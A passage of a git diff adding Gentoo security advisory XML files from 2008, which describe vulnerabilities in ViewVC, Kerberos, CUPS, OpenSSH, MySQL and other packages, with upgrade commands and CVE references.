+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5708">CVE-2007-5708</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0658">CVE-2008-0658</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 15 Mar 2008 17:57:19 +0000">
+    mfleming
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 19 Mar 2008 01:23:44 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-29.xml b/xml/htdocs/security/en/glsa/glsa-200803-29.xml
new file mode 100644
index 00000000..d63ca774
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-29.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-29">
+  <title>ViewVC: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple security issues have been reported in ViewVC, which can be
+    exploited by malicious people to bypass certain security restrictions.
+  </synopsis>
+  <product type="ebuild">viewvc</product>
+  <announced>March 19, 2008</announced>
+  <revised>April 01, 2009: 02</revised>
+  <bug>212288</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/viewvc" auto="yes" arch="*">
+      <unaffected range="ge">1.0.5</unaffected>
+      <vulnerable range="lt">1.0.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ViewVC is a browser interface for CVS and Subversion version control
+    repositories.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple unspecified errors were reportedly fixed by the ViewVC
+    development team.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a specially crafted URL to the server to
+    list CVS or SVN commits on "all-forbidden" files, access hidden CVSROOT
+    folders, and view restricted content via the revision view, the log
+    history, or the diff view.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ViewVC users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/viewvc-1.0.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1290">CVE-2008-1290</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1291">CVE-2008-1291</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1292">CVE-2008-1292</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 11 Mar 2008 22:06:35 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 11 Mar 2008 22:06:42 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 15 Mar 2008 21:33:23 +0000">
+    mfleming
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-30.xml b/xml/htdocs/security/en/glsa/glsa-200803-30.xml
new file mode 100644
index 00000000..68d20184
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-30.xml
@@ -0,0 +1,170 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-30">
+  <title>ssl-cert eclass: Certificate disclosure</title>
+  <synopsis>
+    An error in the usage of the ssl-cert eclass within multiple ebuilds might
+    allow for disclosure of generated SSL private keys.
+  </synopsis>
+  <product type="ebuild">ssl-cert.eclass</product>
+  <announced>March 20, 2008</announced>
+  <revised>March 20, 2008: 01</revised>
+  <bug>174759</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-admin/conserver" auto="yes" arch="*">
+      <unaffected range="ge">8.1.16</unaffected>
+      <vulnerable range="lt">8.1.16</vulnerable>
+    </package>
+    <package name="mail-mta/postfix" auto="yes" arch="*">
+      <unaffected range="ge">2.4.6-r2</unaffected>
+      <unaffected range="rge">2.3.8-r1</unaffected>
+      <unaffected range="rge">2.2.11-r1</unaffected>
+      <vulnerable range="lt">2.4.6-r2</vulnerable>
+    </package>
+    <package name="net-ftp/netkit-ftpd" auto="yes" arch="*">
+      <unaffected range="ge">0.17-r7</unaffected>
+      <vulnerable range="lt">0.17-r7</vulnerable>
+    </package>
+    <package name="net-im/ejabberd" auto="yes" arch="*">
+      <unaffected range="ge">1.1.3</unaffected>
+      <vulnerable range="lt">1.1.3</vulnerable>
+    </package>
+    <package name="net-irc/unrealircd" auto="yes" arch="*">
+      <unaffected range="ge">3.2.7-r2</unaffected>
+      <vulnerable range="lt">3.2.7-r2</vulnerable>
+    </package>
+    <package name="net-mail/cyrus-imapd" auto="yes" arch="*">
+      <unaffected range="ge">2.3.9-r1</unaffected>
+      <vulnerable range="lt">2.3.9-r1</vulnerable>
+    </package>
+    <package name="net-mail/dovecot" auto="yes" arch="*">
+      <unaffected range="ge">1.0.10</unaffected>
+      <vulnerable range="lt">1.0.10</vulnerable>
+    </package>
+    <package name="net-misc/stunnel" auto="yes" arch="*">
+      <unaffected range="ge">4.21-r1</unaffected>
+      <unaffected range="lt">4.0</unaffected>
+      <vulnerable range="lt">4.21-r1</vulnerable>
+    </package>
+    <package name="net-nntp/inn" auto="yes" arch="*">
+      <unaffected range="ge">2.4.3-r1</unaffected>
+      <vulnerable range="lt">2.4.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The ssl-cert eclass is a code module used by Gentoo ebuilds to generate
+    SSL certificates.
+    </p>
+  </background>
+  <description>
+    <p>
+    Robin Johnson reported that the docert() function provided by
+    ssl-cert.eclass can be called by source building stages of an ebuild,
+    such as src_compile() or src_install(), which will result in the
+    generated SSL keys being included inside binary packages (binpkgs).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could recover the SSL keys from publicly readable
+    binary packages when "<i>emerge</i>" is called with the "<i>--buildpkg
+    (-b)</i>" or "<i>--buildpkgonly (-B)</i>" option. Remote attackers can
+    recover these keys if the packages are served to a network. Binary
+    packages built using "<i>quickpkg</i>" are not affected.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not use pre-generated SSL keys, but use keys that were generated
+    using a different Certificate Authority.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Upgrading to newer versions of the above packages will neither remove
+    possibly compromised SSL certificates, nor old binary packages. Please
+    remove the certificates installed by Portage, and then emerge an
+    upgrade to the package.
+    </p>
+    <p>
+    All Conserver users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/conserver-8.1.16&quot;</code>
+    <p>
+    All Postfix 2.4 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-mta/postfix-2.4.6-r2&quot;</code>
+    <p>
+    All Postfix 2.3 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-mta/postfix-2.3.8-r1&quot;</code>
+    <p>
+    All Postfix 2.2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-mta/postfix-2.2.11-r1&quot;</code>
+    <p>
+    All Netkit FTP Server users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-ftp/netkit-ftpd-0.17-r7&quot;</code>
+    <p>
+    All ejabberd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/ejabberd-1.1.3&quot;</code>
+    <p>
+    All UnrealIRCd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-irc/unrealircd-3.2.7-r2&quot;</code>
+    <p>
+    All Cyrus IMAP Server users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/cyrus-imapd-2.3.9-r1&quot;</code>
+    <p>
+    All Dovecot users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/dovecot-1.0.10&quot;</code>
+    <p>
+    All stunnel 4 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/stunnel-4.21&quot;</code>
+    <p>
+    All InterNetNews users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-nntp/inn-2.4.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1383">CVE-2008-1383</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 14 Mar 2008 23:17:10 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 15 Mar 2008 00:11:06 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-31.xml b/xml/htdocs/security/en/glsa/glsa-200803-31.xml
new file mode 100644
index 00000000..fa6b3ba5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-31.xml
@@ -0,0 +1,102 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-31">
+  <title>MIT Kerberos 5: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilites have been found in MIT Kerberos 5, which could
+    allow a remote unauthenticated user to execute arbitrary code with root
+    privileges.
+  </synopsis>
+  <product type="ebuild">mit-krb5</product>
+  <announced>March 24, 2008</announced>
+  <revised>March 24, 2008: 01</revised>
+  <bug>199205</bug>
+  <bug>212363</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/mit-krb5" auto="yes" arch="*">
+      <unaffected range="ge">1.6.3-r1</unaffected>
+      <vulnerable range="lt">1.6.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MIT Kerberos 5 is a suite of applications that implement the Kerberos
+    network protocol. kadmind is the MIT Kerberos 5 administration daemon,
+    KDC is the Key Distribution Center.
+    </p>
+  </background>
+  <description>
+    <ul><li>Two vulnerabilities were found in the Kerberos 4 support in
+    KDC: A global variable is not set for some incoming message types,
+    leading to a NULL pointer dereference or a double free()
+    (CVE-2008-0062) and unused portions of a buffer are not properly
+    cleared when generating an error message, which results in stack
+    content being contained in a reply (CVE-2008-0063).</li>
+    <li>Jeff
+    Altman (Secure Endpoints) discovered a buffer overflow in the RPC
+    library server code, used in the kadmin server, caused when too many
+    file descriptors are opened (CVE-2008-0947).</li>
+    <li>Venustech AD-LAB
+    discovered multiple vulnerabilities in the GSSAPI library: usage of a
+    freed variable in the gss_indicate_mechs() function (CVE-2007-5901) and
+    a double free() vulnerability in the gss_krb5int_make_seal_token_v3()
+    function (CVE-2007-5971).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    The first two vulnerabilities can be exploited by a remote
+    unauthenticated attacker to execute arbitrary code on the host running
+    krb5kdc, compromise the Kerberos key database or cause a Denial of
+    Service. These bugs can only be triggered when Kerberos 4 support is
+    enabled.
+    </p>
+    <p>
+    The RPC related vulnerability can be exploited by a remote
+    unauthenticated attacker to crash kadmind, and theoretically execute
+    arbitrary code with root privileges or cause database corruption. This
+    bug can only be triggered in configurations that allow large numbers of
+    open file descriptors in a process.
+    </p>
+    <p>
+    The GSSAPI vulnerabilities could be exploited by a remote attacker to
+    cause Denial of Service conditions or possibly execute arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Kerberos 4 support can be disabled via disabling the "krb4" USE flag
+    and recompiling the ebuild, or setting "v4_mode=none" in the
+    [kdcdefaults] section of /etc/krb5/kdc.conf. This will only work around
+    the KDC related vulnerabilities.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MIT Kerberos 5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/mit-krb5-1.6.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5894">CVE-2007-5901</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5971">CVE-2007-5971</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0062">CVE-2008-0062</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0063">CVE-2008-0063</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0947">CVE-2008-0947</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 18 Mar 2008 22:11:44 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 20 Mar 2008 23:06:42 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 20 Mar 2008 23:15:12 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-32.xml b/xml/htdocs/security/en/glsa/glsa-200803-32.xml
new file mode 100644
index 00000000..fadee2f3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-32.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-32">
+  <title>Wireshark: Denial of Service</title>
+  <synopsis>
+    Multiple Denial of Service vulnerabilities have been discovered in
+    Wireshark.
+  </synopsis>
+  <product type="ebuild">wireshark</product>
+  <announced>March 24, 2008</announced>
+  <revised>March 24, 2008: 01</revised>
+  <bug>212149</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/wireshark" auto="yes" arch="*">
+      <unaffected range="ge">0.99.8</unaffected>
+      <vulnerable range="lt">0.99.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Wireshark is a network protocol analyzer with a graphical front-end.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple unspecified errors exist in the SCTP, SNMP, and TFTP
+    dissectors.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could cause a Denial of Service by sending a
+    malformed packet.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable the SCTP, SNMP, and TFTP dissectors.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Wireshark users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/wireshark-0.99.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1070">CVE-2008-1070</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1071">CVE-2008-1071</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1072">CVE-2008-1072</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 21 Mar 2008 02:18:33 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 21 Mar 2008 21:01:15 +0000">
+    mfleming
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 24 Mar 2008 19:58:33 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-01.xml b/xml/htdocs/security/en/glsa/glsa-200804-01.xml
new file mode 100644
index 00000000..8e620e4c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-01.xml
@@ -0,0 +1,89 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-01">
+  <title>CUPS: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in CUPS, allowing for the
+    remote execution of arbitrary code and a Denial of Service.
+  </synopsis>
+  <product type="ebuild">cups</product>
+  <announced>April 01, 2008</announced>
+  <revised>April 01, 2008: 01</revised>
+  <bug>211449</bug>
+  <bug>212364</bug>
+  <bug>214068</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-print/cups" auto="yes" arch="*">
+      <unaffected range="ge">1.2.12-r7</unaffected>
+      <vulnerable range="lt">1.2.12-r7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CUPS provides a portable printing layer for UNIX-based operating
+    systems.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in CUPS:
+    </p>
+    <ul>
+    <li>regenrecht (VeriSign iDefense) discovered that the
+    cgiCompileSearch() function used in several CGI scripts in CUPS'
+    administration interface does not correctly calculate boundaries when
+    processing a user-provided regular expression, leading to a heap-based
+    buffer overflow (CVE-2008-0047).</li>
+    <li>Helge Blischke reported a
+    double free() vulnerability in the process_browse_data() function when
+    adding or removing remote shared printers (CVE-2008-0882).</li>
+    <li>Tomas Hoger (Red Hat) reported that the gif_read_lzw() function
+    uses the code_size value from GIF images without properly checking it,
+    leading to a buffer overflow (CVE-2008-1373).</li>
+    <li>An unspecified
+    input validation error was discovered in the HP-GL/2 filter
+    (CVE-2008-0053).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could send specially crafted network packets or print
+    jobs and possibly execute arbitrary code with the privileges of the
+    user running CUPS (usually lp), or cause a Denial of Service. The
+    vulnerabilities are exploitable via the network when CUPS is sharing
+    printers remotely.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CUPS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-print/cups-1.2.12-r7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0047">CVE-2008-0047</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0053">CVE-2008-0053</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0882">CVE-2008-0882</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1373">CVE-2008-1373</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 08 Mar 2008 16:37:44 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 18 Mar 2008 13:25:31 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 01 Apr 2008 19:15:08 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-02.xml b/xml/htdocs/security/en/glsa/glsa-200804-02.xml
new file mode 100644
index 00000000..49d2a4df
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-02.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-02">
+  <title>bzip2: Denial of Service</title>
+  <synopsis>
+    A buffer overread vulnerability has been discovered in Bzip2.
+  </synopsis>
+  <product type="ebuild">bzip2</product>
+  <announced>April 02, 2008</announced>
+  <revised>April 02, 2008: 01</revised>
+  <bug>213820</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/bzip2" auto="yes" arch="*">
+      <unaffected range="ge">1.0.5</unaffected>
+      <vulnerable range="lt">1.0.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    bzip2 is a free and open source lossless data compression program.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Oulu University discovered that bzip2 does not properly check
+    offsets provided by the bzip2 file, leading to a buffer overread.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote attackers can entice a user or automated system to open a
+    specially crafted file that triggers a buffer overread, causing a
+    Denial of Service. libbz2 and programs linking against it are also
+    affected.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All bzip2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/bzip2-1.0.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1372">CVE-2008-1372</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 21 Mar 2008 02:17:50 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 21 Mar 2008 23:42:29 +0000">
+    mfleming
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 02 Apr 2008 13:31:45 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-03.xml b/xml/htdocs/security/en/glsa/glsa-200804-03.xml
new file mode 100644
index 00000000..791430c0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-03.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-03">
+  <title>OpenSSH: Privilege escalation</title>
+  <synopsis>
+    Two flaws have been discovered in OpenSSH which could allow local attackers
+    to escalate their privileges.
+  </synopsis>
+  <product type="ebuild">openssh</product>
+  <announced>April 05, 2008</announced>
+  <revised>April 05, 2008: 01</revised>
+  <bug>214985</bug>
+  <bug>215702</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-misc/openssh" auto="yes" arch="*">
+      <unaffected range="ge">4.7_p1-r6</unaffected>
+      <vulnerable range="lt">4.7_p1-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSSH is a complete SSH protocol implementation that includes an SFTP
+    client and server support.
+    </p>
+  </background>
+  <description>
+    <p>
+    Two issues have been discovered in OpenSSH:
+    </p>
+    <ul>
+    <li>Timo Juhani
+    Lindfors discovered that OpenSSH sets the DISPLAY variable in SSH
+    sessions using X11 forwarding even when it cannot bind the X11 server
+    to a local port in all address families (CVE-2008-1483).</li>
+    <li>OpenSSH will execute the contents of the ".ssh/rc" file even when
+    the "ForceCommand" directive is enabled in the global sshd_config
+    (CVE-2008-1657).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit the first vulnerability to hijack
+    forwarded X11 sessions of other users and possibly execute code with
+    their privileges, disclose sensitive data or cause a Denial of Service,
+    by binding a local X11 server to a port using only one address family.
+    The second vulnerability might allow local attackers to bypass intended
+    security restrictions and execute commands other than those specified
+    by "ForceCommand" if they are able to write to their home directory.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenSSH users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/openssh-4.7_p1-r6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1483">CVE-2008-1483</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1657">CVE-2008-1657</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 31 Mar 2008 15:53:04 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 03 Apr 2008 21:55:34 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 03 Apr 2008 22:39:55 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-04.xml b/xml/htdocs/security/en/glsa/glsa-200804-04.xml
new file mode 100644
index 00000000..2648d6b3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-04.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-04">
+  <title>MySQL: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in MySQL might lead to privilege escalation and
+    Denial of Service.
+  </synopsis>
+  <product type="ebuild">mysql</product>
+  <announced>April 06, 2008</announced>
+  <revised>April 06, 2008: 01</revised>
+  <bug>201669</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/mysql" auto="yes" arch="*">
+      <unaffected range="ge">5.0.54</unaffected>
+      <vulnerable range="lt">5.0.54</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MySQL is a popular multi-threaded, multi-user SQL server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in MySQL:
+    </p>
+    <ul>
+    <li>Mattias Jonsson reported that a "RENAME TABLE" command against a
+    table with explicit "DATA DIRECTORY" and "INDEX DIRECTORY" options
+    would overwrite the file to which the symlink points
+    (CVE-2007-5969).</li>
+    <li>Martin Friebe discovered that MySQL does not
+    update the DEFINER value of a view when the view is altered
+    (CVE-2007-6303).</li>
+    <li>Philip Stoev discovered that the federated
+    engine expects the response of a remote MySQL server to contain a
+    minimum number of columns in query replies (CVE-2007-6304).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    An authenticated remote attacker could exploit the first vulnerability
+    to overwrite MySQL system tables and escalate privileges, or use the
+    second vulnerability to gain privileges via an "ALTER VIEW" statement.
+    Remote federated MySQL servers could cause a Denial of Service in the
+    local MySQL server by exploiting the third vulnerability.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MySQL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/mysql-5.0.54&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5969">CVE-2007-5969</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6303">CVE-2007-6303</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6304">CVE-2007-6304</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 28 Jan 2008 18:21:58 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 09 Feb 2008 20:29:29 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 03 Apr 2008 23:20:56 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-05.xml b/xml/htdocs/security/en/glsa/glsa-200804-05.xml
new file mode 100644
index 00000000..224cc460
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-05.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-05">
+  <title>NX: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    NX uses code from the X.org X11 server which is prone to multiple
+    vulnerabilities.
+  </synopsis>
+  <product type="ebuild">nx, nxnode</product>
+  <announced>April 06, 2008</announced>
+  <revised>April 06, 2008: 02</revised>
+  <bug>210317</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/nxnode" auto="yes" arch="*">
+      <unaffected range="ge">3.1.0-r2</unaffected>
+      <vulnerable range="lt">3.1.0-r2</vulnerable>
+    </package>
+    <package name="net-misc/nx" auto="yes" arch="*">
+      <unaffected range="ge">3.1.0-r1</unaffected>
+      <vulnerable range="lt">3.1.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    NoMachine's NX establishes remote connections to X11 desktops over
+    small bandwidth links. NX and NX Node are the compression core
